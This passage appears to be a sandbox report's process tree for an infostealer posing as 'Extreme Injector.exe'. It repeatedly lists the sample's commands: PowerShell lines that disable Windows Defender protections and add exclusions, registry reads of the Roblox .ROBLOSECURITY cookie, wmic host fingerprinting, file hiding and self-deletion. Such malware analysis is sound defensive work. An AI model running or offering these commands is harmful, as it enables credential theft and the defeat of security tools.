        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        40⤵
        
        PID:1676
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        40⤵
        
        PID:1560
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        40⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2136
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        40⤵
        Detects videocard installed
        
        PID:2704
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe" && pause
        40⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:2124
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        41⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1316
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        38⤵
        Executes dropped EXE
        
        PID:2000
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        37⤵
        Executes dropped EXE
        
        PID:2244
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        36⤵
        Executes dropped EXE
        
        PID:2040
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        35⤵
        Drops file in Drivers directory
        Executes dropped EXE
        
        PID:1704
        
        C:\Windows\system32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        36⤵
        Views/modifies file attributes
        
        PID:2740
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe'
        36⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2212
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        36⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1776
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        36⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2900
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        36⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2324
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        36⤵
        
        PID:3032
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        36⤵
        
        PID:1316
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        36⤵
        
        PID:2288
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        36⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2264
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        36⤵
        Detects videocard installed
        
        PID:2736
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe" && pause
        36⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:572
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        37⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1508
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        34⤵
        Executes dropped EXE
        
        PID:2760
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        33⤵
        Executes dropped EXE
        
        PID:1952
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        32⤵
        Drops file in Drivers directory
        Executes dropped EXE
        
        PID:1584
        
        C:\Windows\system32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        33⤵
        Views/modifies file attributes
        
        PID:1700
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe'
        33⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2744
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        33⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2860
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        33⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2572
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        33⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2812
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        33⤵
        
        PID:2284
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        33⤵
        
        PID:936
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        33⤵
        
        PID:2060
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        33⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2588
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        33⤵
        Detects videocard installed
        
        PID:1344
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe" && pause
        33⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:996
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        34⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1228
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        31⤵
        Executes dropped EXE
        
        PID:2232
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        30⤵
        Executes dropped EXE
        
        PID:2532
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        29⤵
        Executes dropped EXE
        
        PID:2852
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        28⤵
        Drops file in Drivers directory
        Executes dropped EXE
        
        PID:2832
        
        C:\Windows\system32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        29⤵
        Views/modifies file attributes
        
        PID:2772
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe'
        29⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2336
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        29⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1496
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        29⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2944
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        29⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1560
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        29⤵
        
        PID:2972
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        29⤵
        
        PID:1828
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        29⤵
        
        PID:3040
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        29⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1032
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        29⤵
        Detects videocard installed
        
        PID:1872
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe" && pause
        29⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:1996
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        30⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:608
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        27⤵
        Executes dropped EXE
        
        PID:1512
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        26⤵
        Executes dropped EXE
        
        PID:2476
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        25⤵
        Executes dropped EXE
        
        PID:1324
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        24⤵
        Drops file in Drivers directory
        Executes dropped EXE
        
        PID:588
        
        C:\Windows\system32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        25⤵
        Views/modifies file attributes
        
        PID:2996
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe'
        25⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2564
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        25⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2812
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        25⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2872
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        25⤵
        
        PID:2348
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        25⤵
        
        PID:1760
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        25⤵
        
        PID:660
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        25⤵
        
        PID:1932
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        25⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1732
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        25⤵
        Detects videocard installed
        
        PID:2260
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe" && pause
        25⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:2784
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        26⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2300
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        23⤵
        Executes dropped EXE
        
        PID:316
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        22⤵
        Executes dropped EXE
        
        PID:2136
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        21⤵
        Executes dropped EXE
        
        PID:2200
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        20⤵
        Drops file in Drivers directory
        Executes dropped EXE
        
        PID:3012
        
        C:\Windows\system32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        21⤵
        Views/modifies file attributes
        
        PID:2208
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe'
        21⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3004
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        21⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:784
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        21⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2112
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        21⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2684
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        21⤵
        
        PID:2160
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        21⤵
        
        PID:872
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        21⤵
        
        PID:1620
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        21⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1660
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        21⤵
        Detects videocard installed
        
        PID:2888
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe" && pause
        21⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:2396
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        22⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2400
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        19⤵
        Executes dropped EXE
        
        PID:496
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        18⤵
        Executes dropped EXE
        
        PID:784
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        17⤵
        Drops file in Drivers directory
        Executes dropped EXE
        
        PID:1968
        
        C:\Windows\system32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        18⤵
        Views/modifies file attributes
        
        PID:536
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe'
        18⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1144
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        18⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2916
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        18⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1824
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        18⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:876
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        18⤵
        
        PID:2920
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        18⤵
        
        PID:1396
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        18⤵
        
        PID:2216
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        18⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2900
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        18⤵
        Detects videocard installed
        
        PID:1992
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe" && pause
        18⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:484
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        19⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2760
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        16⤵
        Executes dropped EXE
        
        PID:2568
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        15⤵
        Executes dropped EXE
        
        PID:1636
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        14⤵
        Executes dropped EXE
        
        PID:1760
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        13⤵
        Drops file in Drivers directory
        Executes dropped EXE
        
        PID:2180
        
        C:\Windows\system32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        14⤵
        Views/modifies file attributes
        
        PID:2348
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe'
        14⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1824
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        14⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:496
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        14⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1988
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        14⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2216
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        14⤵
        
        PID:2640
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        14⤵
        
        PID:2672
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        14⤵
        
        PID:2420
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        14⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1296
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        14⤵
        Detects videocard installed
        
        PID:2688
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe" && pause
        14⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:2820
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        15⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2948
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        12⤵
        Executes dropped EXE
        
        PID:2852
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        11⤵
        Executes dropped EXE
        
        PID:1988
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        10⤵
        Drops file in Drivers directory
        Executes dropped EXE
        
        PID:560
        
        C:\Windows\system32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        11⤵
        Views/modifies file attributes
        
        PID:1004
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe'
        11⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2268
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        11⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2576
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        11⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2252
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        11⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2880
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        11⤵
        
        PID:2188
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        11⤵
        
        PID:2172
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        11⤵
        
        PID:2804
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        11⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3032
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        11⤵
        Detects videocard installed
        
        PID:1312
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe" && pause
        11⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:2700
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        12⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2808
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
